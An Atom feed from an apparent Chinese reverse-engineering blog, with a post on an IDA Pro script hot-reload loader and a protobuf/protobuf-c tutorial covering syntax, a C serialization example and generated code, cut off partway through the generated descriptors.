<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-CN">
<title type="text">undefined</title>
<subtitle type="text">u / n — d _</subtitle>
<id>https://imi-imiab.com/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/"/>
<link rel="self" type="application/atom+xml" href="https://imi-imiab.com/atom.xml"/>
<author><name>imiab</name></author>
<updated>2026-03-17T20:17:00.000Z</updated>
<generator uri="https://hexo.io/">Hexo · NOISE</generator>
<entry>
<title type="text">protobuf-c 自动逆向脚本开发小记...</title>
<id>https://imi-imiab.com/posts/cnblogs-19733408/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19733408/"/>
<author><name>imiab</name></author>
<published>2026-03-17T20:16:00.000Z</published>
<updated>2026-03-17T20:17:00.000Z</updated>
<category term="Reverse" scheme="https://imi-imiab.com/categories/Reverse/"/>
<category term="Reverse" scheme="https://imi-imiab.com/tags/Reverse/"/>
<category term="Protobuf" scheme="https://imi-imiab.com/tags/Protobuf/"/>
<summary type="text">Loader 编写脚本的时候发现ida根本没有热重载脚本的功能，每次修改完脚本想看看效果，都要把ida大退然后重启 于是自己写了一个方便的loader，按下Ctrl+Shift+H就可以请求一个路径，按下Ctrl+H快速热重载脚本。 import ida_idaapi import ida_kern</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19733408/"><![CDATA[<h1 id="Loader"><a href="https://imi-imiab.com/posts/cnblogs-19733408/#Loader" class="headerlink" title="Loader"></a>Loader</h1><p>编写脚本的时候发现<code>ida</code>根本没有热重载脚本的功能，每次修改完脚本想看看效果，都要把<code>ida</code>大退然后重启</p>
<p>于是自己写了一个方便的<code>loader</code>，按下<code>Ctrl+Shift+H</code>就可以请求一个路径，按下<code>Ctrl+H</code>快速热重载脚本。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> ida_idaapi</span>
<span class="line"><span class="keyword">import</span> ida_kernwin</span>
<span class="line"><span class="keyword">import</span> idaapi</span>
<span class="line"><span class="keyword">import</span> importlib.util</span>
<span class="line"><span class="keyword">import</span> sys</span>
<span class="line"><span class="keyword">import</span> os</span>
<span class="line"></span>
<span class="line"><span class="keyword">class</span> <span class="title class_">PluginLoadHelper</span>(idaapi.plugin_t):</span>
<span class="line">    flags = idaapi.PLUGIN_KEEP</span>
<span class="line">    wanted_hotkey = <span class="string">&quot;Ctrl-Shift-H&quot;</span></span>
<span class="line">    wanted_name = <span class="string">&quot;PluginLoadHelper&quot;</span></span>
<span class="line">    comment = <span class="string">&quot;Load a plugin&quot;</span></span>
<span class="line">    <span class="built_in">help</span> = <span class="string">&quot;Press Ctrl-Shift-H to load your plugin&quot;</span></span>
<span class="line">    plugin_full_path = <span class="literal">None</span></span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">flush</span>(<span class="params">self</span>):</span>
<span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="variable language_">self</span>.plugin_full_path:</span>
<span class="line">            <span class="keyword">return</span></span>
<span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(<span class="variable language_">self</span>.plugin_full_path):</span>
<span class="line">            ida_kernwin.warning(<span class="string">f&quot;File <span class="subst">&#123;self.plugin_full_path&#125;</span> not found!&quot;</span>)</span>
<span class="line">            <span class="keyword">return</span></span>
<span class="line">        plugin_name = os.path.basename(<span class="variable language_">self</span>.plugin_full_path)</span>
<span class="line">        spec = importlib.util.spec_from_file_location(plugin_name, <span class="variable language_">self</span>.plugin_full_path)</span>
<span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> spec:</span>
<span class="line">            ida_kernwin.warning(<span class="string">&quot;Parsing spec failed&quot;</span>)</span>
<span class="line">            <span class="keyword">return</span></span>
<span class="line">        plugin = importlib.util.module_from_spec(spec)</span>
<span class="line">        sys.modules[plugin_name] = plugin</span>
<span class="line">        spec.loader.exec_module(plugin) <span class="comment"># type: ignore</span></span>
<span class="line">        module = plugin.PLUGIN_ENTRY()</span>
<span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Plugin <span class="subst">&#123;plugin_name&#125;</span> Load success!&quot;</span>)</span>
<span class="line">        module.run(<span class="string">b&quot;&quot;</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">init</span>(<span class="params">self</span>): </span>
<span class="line">        ida_kernwin.add_hotkey(<span class="string">&quot;Ctrl-H&quot;</span>, <span class="variable language_">self</span>.flush)</span>
<span class="line">        <span class="keyword">return</span> idaapi.PLUGIN_KEEP</span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">self, arg</span>):</span>
<span class="line">        <span class="variable language_">self</span>.plugin_full_path = ida_kernwin.ask_str(<span class="string">&quot;&quot;</span>, ida_kernwin.HIST_FILE, <span class="string">&quot;Load Plugin:&quot;</span>)</span>
<span class="line">        <span class="variable language_">self</span>.flush()</span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">term</span>(<span class="params">self</span>):</span>
<span class="line">        <span class="keyword">pass</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">PLUGIN_ENTRY</span>():</span>
<span class="line">    <span class="keyword">return</span> PluginLoadHelper() <span class="comment"># type: ignore</span></span>
<span class="line"></span>
</pre></td></tr></table></figure>

<p>参考了官方文档：<a href="https://docs.python.org/zh-cn/3/library/importlib.html">https://docs.python.org/zh-cn/3/library/importlib.html</a><br>学会了怎么动态导入python脚本…</p>
<h1 id="核心实现"><a href="https://imi-imiab.com/posts/cnblogs-19733408/#%E6%A0%B8%E5%BF%83%E5%AE%9E%E7%8E%B0" class="headerlink" title="核心实现"></a>核心实现</h1><p>其实就是识别魔数，导入结构体，修改地址类型。</p>
<p>然后从结构体中把每个字段的<code>name</code>、<code>id</code>、<code>type</code>、<code>label</code>都拿出来，再写回.proto文件就可以了</p>
<p>当然，还有更复杂的跨包引用问题，全局引用等问题。考虑构建一棵节点树，每个message下面记录子message，最后把公有的且没有fields的部分提取出来作为package即可。</p>
<p>脚本在下面，好用记得star✨</p>
<p><a href="https://github.com/little-daimi/ProtoCMiner">https://github.com/little-daimi/ProtoCMiner</a></p>
]]></content>
</entry>
<entry>
<title type="text">[pwn] protobuf学习与逆向</title>
<id>https://imi-imiab.com/posts/cnblogs-19729318/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19729318/"/>
<author><name>imiab</name></author>
<published>2026-03-16T22:03:00.000Z</published>
<updated>2026-03-16T22:26:00.000Z</updated>
<category term="Reverse" scheme="https://imi-imiab.com/categories/Reverse/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<category term="Reverse" scheme="https://imi-imiab.com/tags/Reverse/"/>
<category term="Protobuf" scheme="https://imi-imiab.com/tags/Protobuf/"/>
<summary type="text">介绍 一个轻量的跨平台数据结构协议。 说人话就是json-pro，或者说zip-pro。zip不也是不论在手机、电脑、macos都能解压吗，， 当然运转起来和zip不同，毕竟这个是为了程序间收发信息而发明的，而zip只是为了打包数据，只是一个不太恰当的类比。 快速安装 sudo apt instal</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19729318/"><![CDATA[<h1 id="介绍"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E4%BB%8B%E7%BB%8D" class="headerlink" title="介绍"></a>介绍</h1><p>一个轻量的跨平台数据结构协议。</p>
<p>说人话就是json-pro，或者说zip-pro。zip不也是不论在手机、电脑、macos都能解压吗，，</p>
<p>当然运转起来和zip不同，毕竟这个是为了程序间收发信息而发明的，而zip只是为了打包数据，只是一个不太恰当的类比。</p>
<h1 id="快速安装"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%BF%AB%E9%80%9F%E5%AE%89%E8%A3%85" class="headerlink" title="快速安装"></a>快速安装</h1><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install protobuf-compiler libprotobuf-dev</span>
</pre></td></tr></table></figure>

<p>protobuf支持c++、java、python、go等多种语言，但是不支持c语言。</p>
<p><a href="https://github.com/protobuf-c/protobuf-c">https://github.com/protobuf-c/protobuf-c</a></p>
<p>不过这里有一个社区成员自发维护的proto-c实现，要支持c语言额外安装这个即可</p>
<p>（注意make之前先checkout到最新的release tag）。</p>
<h1 id="基本语法"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95" class="headerlink" title="基本语法"></a>基本语法</h1><h2 id="定义消息类型"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%AE%9A%E4%B9%89%E6%B6%88%E6%81%AF%E7%B1%BB%E5%9E%8B" class="headerlink" title="定义消息类型"></a>定义消息类型</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto2&quot;</span>;</span>
<span class="line"></span>
<span class="line">message SearchRequest &#123;</span>
<span class="line">  optional <span class="built_in">string</span> query = <span class="number">1</span>;</span>
<span class="line">  optional int32 page_number = <span class="number">2</span>;</span>
<span class="line">  optional int32 results_per_page = <span class="number">3</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<ul>
<li><p>文件的第一行指定您正在使用 protobuf 语言规范的 2023 版。</p>
<ul>
<li><code>edition</code>（或 proto2&#x2F;proto3 的 <code>syntax</code>）必须是文件的第一个非空、非注释行。</li>
<li>如果未指定 <code>edition</code> 或 <code>syntax</code>，协议缓冲区编译器将假定您正在使用 <a href="https://protobuf.com.cn/programming-guides/proto2">proto2</a>。</li>
</ul>
</li>
<li><p><code>SearchRequest</code> 消息定义指定了三个字段（名称&#x2F;值对），每种你想包含在此类消息中的数据都对应一个字段。每个字段都有一个名称和一个类型。</p>
</li>
</ul>
<h2 id="定义字段"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%AE%9A%E4%B9%89%E5%AD%97%E6%AE%B5" class="headerlink" title="定义字段"></a>定义字段</h2><h3 id="定义字段类型"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%AE%9A%E4%B9%89%E5%AD%97%E6%AE%B5%E7%B1%BB%E5%9E%8B" class="headerlink" title="定义字段类型"></a>定义字段类型</h3><p><img src="https://imi-imiab.com/images/posts/e24eeaba796910581336.jpg" alt="e7fa3d288c2ad8c00cb4004f60bdcec0\_MD5" loading="lazy" decoding="async"></p>
<p>这里有一些类型，总之就是整数，浮点数，布尔和字符串。<br>除了前面那个例子里定义的标量类型，也可以是枚举或者复合类型。<br>在proto3里面这个有些许扩展，具体可以上官网查看。</p>
<h3 id="分配字段编号"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%88%86%E9%85%8D%E5%AD%97%E6%AE%B5%E7%BC%96%E5%8F%B7" class="headerlink" title="分配字段编号"></a>分配字段编号</h3><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto2&quot;</span>;</span>
<span class="line"></span>
<span class="line">message SearchRequest &#123;</span>
<span class="line">  optional <span class="built_in">string</span> query = <span class="number">1</span>;</span>
<span class="line">  optional int32 page_number = <span class="number">2</span>;</span>
<span class="line">  optional int32 results_per_page = <span class="number">3</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>依然是这个例子，其中的<code>=1</code>和<code>=2</code>就是字段编号。每个字段编号必须唯一，范围是从0到2^29</p>
<h2 id="指定字段基数"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E6%8C%87%E5%AE%9A%E5%AD%97%E6%AE%B5%E5%9F%BA%E6%95%B0" class="headerlink" title="指定字段基数"></a>指定字段基数</h2><p>翻译成基数很奇怪，感觉应该类似字段属性的意思。</p>
<ul>
<li>单一 (Singular):<ul>
<li><code>optional</code>：（推荐）<code>optional</code> 字段处于两种可能状态之一</li>
<li>你可以用接口查询发送方有没有显式设置值，比如说接收到了默认值，但你不清楚发送方是没设置，还是设置了，刚好就是这个值。</li>
<li>建议使用 <code>optional</code> 而不是隐式字段，以实现与 <code>protobuf</code> 版本和 <code>proto2</code> 的最大兼容性。</li>
<li>隐式：（不推荐）隐式字段没有明确的基数标签，其行为如下</li>
<li>如果字段是消息类型，则其行为与 <code>optional</code> 字段完全相同。</li>
<li>如果字段不是消息，它有两种状态</li>
<li>字段设置为非默认（非零）值，该值已显式设置或从数据线解析。它将被序列化到数据线。字段设置为默认（零）值。它不会被序列化到数据线。事实上，您无法确定默认（零）值是已设置还是从数据线解析，还是未提供。有关此主题的更多信息，请参阅字段存在。</li>
<li>（翻译够怪的，总之参考上面<code>option</code>的意思，这里和<code>option</code>相反）</li>
</ul>
</li>
<li><code>repeated</code>：此字段类型在一个格式良好的消息中可以重复零次或多次。重复值的顺序将被保留。</li>
<li><code>map</code>：这是一个键值对字段类型。有关此字段类型的更多信息，请参阅映射。</li>
</ul>
<p>其实就是普通的<code>optional</code>，数组<code>repeated</code>，哈希表<code>map</code><br>还有一个<code>require</code>被废弃了，官网上写不建议使用</p>
<h3 id="字段默认值"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%AD%97%E6%AE%B5%E9%BB%98%E8%AE%A4%E5%80%BC" class="headerlink" title="字段默认值"></a>字段默认值</h3><ul>
<li>对于字符串，默认值是空字符串。</li>
<li>对于字节，默认值是空字节。</li>
<li>对于布尔值，默认值是 false。</li>
<li>对于数值类型，默认值是零。</li>
<li>对于消息字段，该字段未设置。其确切值取决于语言。</li>
<li>对于枚举，默认值是第一个定义的枚举值，该值必须为 0。</li>
</ul>
<p>当然你可以自己指定默认值。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto2&quot;</span>;</span>
<span class="line"></span>
<span class="line">message SearchRequest &#123;</span>
<span class="line">  optional <span class="built_in">string</span> query = <span class="number">1</span>;</span>
<span class="line">  optional int32 page_number = <span class="number">2</span> [<span class="keyword">default</span> = <span class="number">10</span>];</span>
<span class="line">  optional int32 results_per_page = <span class="number">3</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>如果发送方未指定 <code>result_per_page</code>，接收方将观察到以下状态</p>
<ul>
<li><code>result_per_page</code> 字段不存在。也就是说，<code>has_result_per_page()</code>（存在器方法）方法将返回 <code>false</code>。</li>
<li><code>result_per_page</code> 的值（从“getter”返回）为 <code>10</code>。</li>
</ul>
<p>这里有点特别，虽然有值，但是查询这个值存不存在返回<code>false</code>，直接获取值又能获取到，感觉容易出小错误。</p>
<h3 id="枚举类型"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E6%9E%9A%E4%B8%BE%E7%B1%BB%E5%9E%8B" class="headerlink" title="枚举类型"></a>枚举类型</h3><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">Corpus</span> &#123;</span></span>
<span class="line">  CORPUS_UNSPECIFIED = <span class="number">0</span>;</span>
<span class="line">  CORPUS_UNIVERSAL = <span class="number">1</span>;</span>
<span class="line">  CORPUS_WEB = <span class="number">2</span>;</span>
<span class="line">  CORPUS_IMAGES = <span class="number">3</span>;</span>
<span class="line">  CORPUS_LOCAL = <span class="number">4</span>;</span>
<span class="line">  CORPUS_NEWS = <span class="number">5</span>;</span>
<span class="line">  CORPUS_PRODUCTS = <span class="number">6</span>;</span>
<span class="line">  CORPUS_VIDEO = <span class="number">7</span>;</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line">message SearchRequest &#123;</span>
<span class="line">  <span class="built_in">string</span> query = <span class="number">1</span>;</span>
<span class="line">  int32 page_number = <span class="number">2</span>;</span>
<span class="line">  int32 results_per_page = <span class="number">3</span>;</span>
<span class="line">  Corpus corpus = <span class="number">4</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>文档建议枚举类型的第一个值必须为0且不包含任何语义，因为兼容性问题。</p>
<p>像 <code>SearchRequest.corpus</code> 这样的枚举字段的默认值可以像这样显式覆盖</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Corpus corpus = 4 [default = CORPUS_UNIVERSAL];</span>
</pre></td></tr></table></figure>

<p>枚举也可以有别名，就是一个值有两个名字，像下面这样</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">EnumAllowingAlias</span> &#123;</span></span>
<span class="line">  option allow_alias = <span class="literal">true</span>;</span>
<span class="line">  EAA_UNSPECIFIED = <span class="number">0</span>;</span>
<span class="line">  EAA_STARTED = <span class="number">1</span>;</span>
<span class="line">  EAA_RUNNING = <span class="number">1</span>;</span>
<span class="line">  EAA_FINISHED = <span class="number">2</span>;</span>
<span class="line">&#125;</span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">EnumNotAllowingAlias</span> &#123;</span></span>
<span class="line">  ENAA_UNSPECIFIED = <span class="number">0</span>;</span>
<span class="line">  ENAA_STARTED = <span class="number">1</span>;</span>
<span class="line">  ENAA_RUNNING = <span class="number">1</span>;  <span class="comment">// Uncommenting this line will cause a warning message.</span></span>
<span class="line">  ENAA_FINISHED = <span class="number">2</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>不过如果这么用的话，protocol buffer 编译器会生成一条警告消息（可设置<code>allow_alias</code> 为 <code>true</code>来关闭）。以及虽然所有别名值在序列化时都有效，但在反序列化时只使用第一个值。</p>
<h3 id="删除枚举条目"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E5%88%A0%E9%99%A4%E6%9E%9A%E4%B8%BE%E6%9D%A1%E7%9B%AE" class="headerlink" title="删除枚举条目"></a>删除枚举条目</h3><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">Foo</span> &#123;</span></span>
<span class="line">  reserved <span class="number">2</span>, <span class="number">15</span>, <span class="number">9</span> to <span class="number">11</span>, <span class="number">40</span> to max;</span>
<span class="line">  reserved FOO, BAR;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>要用reserved。<br>比如说某项目里，字段3是AAA，一次更新以后字段3被删掉，但是没有reversed。过了一段时间另一个人要添加一个新字段，发现3空着的，就把3用给BBB。但是有其他模块没有及时更新到这个信息，结果就是本来接收BBB的接口会收到AAA，造成严重的问题。</p>
<p>用reversed把被删除的flag标记，这样如果后来的维护者重用了字段，编译就会报错。</p>
<h2 id="proto序列化的不规范性"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#proto%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E4%B8%8D%E8%A7%84%E8%8C%83%E6%80%A7" class="headerlink" title="proto序列化的不规范性"></a>proto序列化的不规范性</h2><p>意思是对于同样的数据，proto不能保证其被序列化为相同的结果。</p>
<p>比如说哈希密钥验证等流程，不应该直接使用proto序列化出来的数据，因为它们可能随着版本更新发生变化。正确的姿势是反序列化提取其中的信息，然后再拿去用。</p>
<h1 id="使用教程"><a href="https://imi-imiab.com/posts/cnblogs-19729318/#%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B" class="headerlink" title="使用教程"></a>使用教程</h1><p>参考了下这个<br><a href="https://github.com/protobuf-c/protobuf-c/wiki/Examples">https://github.com/protobuf-c/protobuf-c/wiki/Examples</a></p>
<p>这里是c的使用教材，如果需要python或者C++可以区看官方文档</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto2&quot;</span>;</span>
<span class="line"></span>
<span class="line">message msg &#123;</span>
<span class="line">    optional uint32 id = <span class="number">1</span>;</span>
<span class="line">    optional <span class="built_in">string</span> name = <span class="number">2</span>;</span>
<span class="line">    optional bytes key = <span class="number">3</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>写一个这个，然后输入<code>protoc-c --c_out=. amessage.proto</code></p>
<p>接下来在自己的代码中引用生成的文件</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;message.pb-c.h&quot;</span></span></span>
<span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span>
<span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span>
<span class="line"></span>
<span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span>
<span class="line">    Msg msg = MSG__INIT;</span>
<span class="line">    msg.has_id = <span class="number">1</span>;</span>
<span class="line">    msg.id = <span class="number">12345</span>;</span>
<span class="line">    msg.name = <span class="string">&quot;Hello, Protobuf-C!&quot;</span>;</span>
<span class="line">    msg.has_key = <span class="number">1</span>;</span>
<span class="line">    <span class="type">uint8_t</span> key_data[] = &#123;<span class="number">0xDE</span>, <span class="number">0xAD</span>, <span class="number">0xBE</span>, <span class="number">0xEF</span>&#125;;</span>
<span class="line">    msg.key.data = key_data;</span>
<span class="line">    msg.key.len = <span class="keyword">sizeof</span>(key_data);</span>
<span class="line"></span>
<span class="line">    <span class="comment">// Serialize the message</span></span>
<span class="line">    <span class="type">size_t</span> packed_size = msg__get_packed_size(&amp;msg);</span>
<span class="line">    <span class="type">uint8_t</span> *buffer = <span class="built_in">malloc</span>(packed_size);</span>
<span class="line">    <span class="keyword">if</span> (!buffer) &#123;</span>
<span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Failed to allocate memory for buffer\n&quot;</span>);</span>
<span class="line">        <span class="keyword">return</span> EXIT_FAILURE;</span>
<span class="line">    &#125;</span>
<span class="line">    msg__pack(&amp;msg, buffer);</span>
<span class="line"></span>
<span class="line">    <span class="comment">// Print the serialized data</span></span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Serialized Msg (hex): &quot;</span>);</span>
<span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; packed_size; i++) &#123;</span>
<span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X &quot;</span>, buffer[i]);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span>
<span class="line"></span>
<span class="line">    <span class="comment">// Unpack the message</span></span>
<span class="line">    Msg *unpacked_msg = msg__unpack(<span class="literal">NULL</span>, packed_size, buffer);</span>
<span class="line">    <span class="keyword">if</span> (!unpacked_msg) &#123;</span>
<span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Failed to unpack message\n&quot;</span>);</span>
<span class="line">        <span class="built_in">free</span>(buffer);</span>
<span class="line">        <span class="keyword">return</span> EXIT_FAILURE;</span>
<span class="line">    &#125;</span>
<span class="line"></span>
<span class="line">    <span class="comment">// Print the unpacked message</span></span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Unpacked Msg:\n&quot;</span>);</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;  ID: %u\n&quot;</span>, unpacked_msg-&gt;id);</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;  Name: %s\n&quot;</span>, unpacked_msg-&gt;name);</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;  Key (hex): &quot;</span>);</span>
<span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; unpacked_msg-&gt;key.len; i++) &#123;</span>
<span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%02X &quot;</span>, unpacked_msg-&gt;key.data[i]);</span>
<span class="line">    &#125;</span>
<span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span>
<span class="line"></span>
<span class="line">    msg__free_unpacked(unpacked_msg, <span class="literal">NULL</span>); </span>
<span class="line">    </span>
<span class="line">    <span class="built_in">free</span>(buffer);</span>
<span class="line">    <span class="keyword">return</span> EXIT_SUCCESS;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>pack和unpack，然后unpack可以传allocator，可以传自定义堆管理器，传null就是用malloc。</p>
<p>编译指令</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">gcc ./main.c ./message.pb-c.c -o ./main -lprotobuf-c</span>
</pre></td></tr></table></figure>

<p>如果你用<code>syntax = &quot;proto3&quot;</code>会发现生成不了，因为神秘的“咕勾”在3.12版本把<code>optional</code>扬了，引发了设区的强烈反对，后来又加了回来。</p>
<p>而<code>proto-c</code>是社区人员维护的，最新的<code>release</code>版本还没对齐这个需求。</p>
<p>我们可以看看生成的文件里面有什么，其实也很简单。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Generated by the protocol buffer compiler.  DO NOT EDIT! */</span></span>
<span class="line"><span class="comment">/* Generated from: message.proto */</span></span>
<span class="line"></span>
<span class="line"><span class="comment">/* Do not generate deprecated warnings for self */</span></span>
<span class="line"><span class="meta">#<span class="keyword">ifndef</span> PROTOBUF_C__NO_DEPRECATED</span></span>
<span class="line"><span class="meta">#<span class="keyword">define</span> PROTOBUF_C__NO_DEPRECATED</span></span>
<span class="line"><span class="meta">#<span class="keyword">endif</span></span></span>
<span class="line"></span>
<span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;message.pb-c.h&quot;</span></span></span>
<span class="line"><span class="type">void</span>   <span class="title function_">msg__init</span></span>
<span class="line">                     <span class="params">(Msg         *message)</span></span>
<span class="line">&#123;</span>
<span class="line">  <span class="type">static</span> <span class="type">const</span> Msg init_value = MSG__INIT;</span>
<span class="line">  *message = init_value;</span>
<span class="line">&#125;</span>
<span class="line"><span class="type">size_t</span> <span class="title function_">msg__get_packed_size</span></span>
<span class="line">                     <span class="params">(<span class="type">const</span> Msg *message)</span></span>
<span class="line">&#123;</span>
<span class="line">  assert(message-&gt;base.descriptor == &amp;msg__descriptor);</span>
<span class="line">  <span class="keyword">return</span> protobuf_c_message_get_packed_size ((<span class="type">const</span> ProtobufCMessage*)(message));</span>
<span class="line">&#125;</span>
<span class="line"><span class="type">size_t</span> <span class="title function_">msg__pack</span></span>
<span class="line">                     <span class="params">(<span class="type">const</span> Msg *message,</span></span>
<span class="line"><span class="params">                      <span class="type">uint8_t</span>       *out)</span></span>
<span class="line">&#123;</span>
<span class="line">  assert(message-&gt;base.descriptor == &amp;msg__descriptor);</span>
<span class="line">  <span class="keyword">return</span> protobuf_c_message_pack ((<span class="type">const</span> ProtobufCMessage*)message, out);</span>
<span class="line">&#125;</span>
<span class="line"><span class="type">size_t</span> <span class="title function_">msg__pack_to_buffer</span></span>
<span class="line">                     <span class="params">(<span class="type">const</span> Msg *message,</span></span>
<span class="line"><span class="params">                      ProtobufCBuffer *buffer)</span></span>
<span class="line">&#123;</span>
<span class="line">  assert(message-&gt;base.descriptor == &amp;msg__descriptor);</span>
<span class="line">  <span class="keyword">return</span> protobuf_c_message_pack_to_buffer ((<span class="type">const</span> ProtobufCMessage*)message, buffer);</span>
<span class="line">&#125;</span>
<span class="line">Msg *</span>
<span class="line">       <span class="title function_">msg__unpack</span></span>
<span class="line">                     <span class="params">(ProtobufCAllocator  *allocator,</span></span>
<span class="line"><span class="params">                      <span class="type">size_t</span>               len,</span></span>
<span class="line"><span class="params">                      <span class="type">const</span> <span class="type">uint8_t</span>       *data)</span></span>
<span class="line">&#123;</span>
<span class="line">  <span class="keyword">return</span> (Msg *)</span>
<span class="line">     protobuf_c_message_unpack (&amp;msg__descriptor,</span>
<span class="line">                                allocator, len, data);</span>
<span class="line">&#125;</span>
<span class="line"><span class="type">void</span>   <span class="title function_">msg__free_unpacked</span></span>
<span class="line">                     <span class="params">(Msg *message,</span></span>
<span class="line"><span class="params">                      ProtobufCAllocator *allocator)</span></span>
<span class="line">&#123;</span>
<span class="line">  <span class="keyword">if</span>(!message)</span>
<span class="line">    <span class="keyword">return</span>;</span>
<span class="line">  assert(message-&gt;base.descriptor == &amp;msg__descriptor);</span>
<span class="line">  protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);</span>
<span class="line">&#125;</span>
<span class="line"><span class="type">static</span> <span class="type">const</span> ProtobufCFieldDescriptor msg__field_descriptors[<span class="number">3</span>] =</span>
<span class="line">&#123;</span>
<span class="line">  &#123;</span>
<span class="line">    <span class="string">&quot;id&quot;</span>,</span>
<span class="line">    <span class="number">1</span>,</span>
<span class="line">    PROTOBUF_C_LABEL_OPTIONAL,</span>
<span class="line">    PROTOBUF_C_TYPE_UINT32,</span>
<span class="line">    offsetof(Msg, has_id),</span>
<span class="line">    offsetof(Msg, id),</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="number">0</span>,             <span class="comment">/* flags */</span></span>
<span class="line">    <span class="number">0</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>    <span class="comment">/* reserved1,reserved2, etc */</span></span>
<span class="line">  &#125;,</span>
<span class="line">  &#123;</span>
<span class="line">    <span class="string">&quot;name&quot;</span>,</span>
<span class="line">    <span class="number">2</span>,</span>
<span class="line">    PROTOBUF_C_LABEL_OPTIONAL,</span>
<span class="line">    PROTOBUF_C_TYPE_STRING,</span>
<span class="line">    <span class="number">0</span>,   <span class="comment">/* quantifier_offset */</span></span>
<span class="line">    offsetof(Msg, name),</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="literal">NULL</span>,</span>
<span class="line">    <span class="number">0</span>,             <span class="comment">/* flags */</span></span>
<span class="line">    <span class="number">0</span>,<span class="literal">NULL</span>,<span class="literal">NULL</span>    <span class="comment">/* reserved1,reserved2, etc */</span></span>
<span class="line">  &#125;,</span>
